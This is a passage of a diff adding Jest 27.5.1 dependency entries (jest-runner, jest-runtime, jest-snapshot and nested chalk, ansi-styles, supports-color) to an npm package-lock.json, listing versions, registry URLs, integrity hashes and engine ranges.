"sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-matcher-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-matcher-utils/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-matcher-utils/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-matcher-utils/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-message-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-message-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-message-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-mock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz", + "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-pnp-resolver": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.2.tgz", + "integrity": "sha512-olV41bKSMm8BdnuMsewT4jqlZ8+3TCARAXjZGT9jcoSnrfUnRCqnMoF9XEeoWjbzObpqF9dRhHQj0Xb9QdF6/w==", + "license": "MIT", + "engines": { + "node": ">=6" + }, + "peerDependencies": { + "jest-resolve": "*" + }, + "peerDependenciesMeta": { + "jest-resolve": { + "optional": true + } + } + }, + "node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.5.1.tgz", + "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-pnp-resolver": "^1.2.2", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "resolve": "^1.20.0", + "resolve.exports": "^1.1.0", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve-dependencies": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz", + "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-snapshot": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-resolve/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-resolve/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-resolve/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-resolve/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-resolve/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runner": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.5.1.tgz", + "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==", + "license": "MIT", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "graceful-fs": "^4.2.9", + "jest-docblock": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-leak-detector": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "source-map-support": "^0.5.6", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runner/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-runner/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-runner/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-runner/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-runner/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runner/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runtime": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.5.1.tgz", + "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==", + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/globals": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "cjs-module-lexer": "^1.0.0", + "collect-v8-coverage": "^1.0.0", + "execa": "^5.0.0", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0", + "strip-bom": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runtime/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-runtime/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-runtime/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-runtime/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-runtime/node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/jest-runtime/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-runtime/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runtime/node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/jest-runtime/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-serializer": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz", + "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "graceful-fs": "^4.2.9" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.5.1.tgz", + "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.7.2", + "@babel/generator": "^7.7.2", + "@babel/plugin-syntax-typescript": "^7.7.2", + "@babel/traverse": "^7.7.2", + "@babel/types": "^7.0.0", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__traverse": "^7.0.4", + "@types/prettier": "^2.1.5", + "babel-preset-current-node-syntax": "^1.0.0", + "chalk": "^4.0.0", + "expect": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "natural-compare": "^1.4.0", + "pretty-format": "^27.5.1", + "semver": "^7.3.2" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-snapshot/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-snapshot/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-snapshot/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-snapshot/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-snapshot/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-validate": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.5.1.tgz", + "integrity": 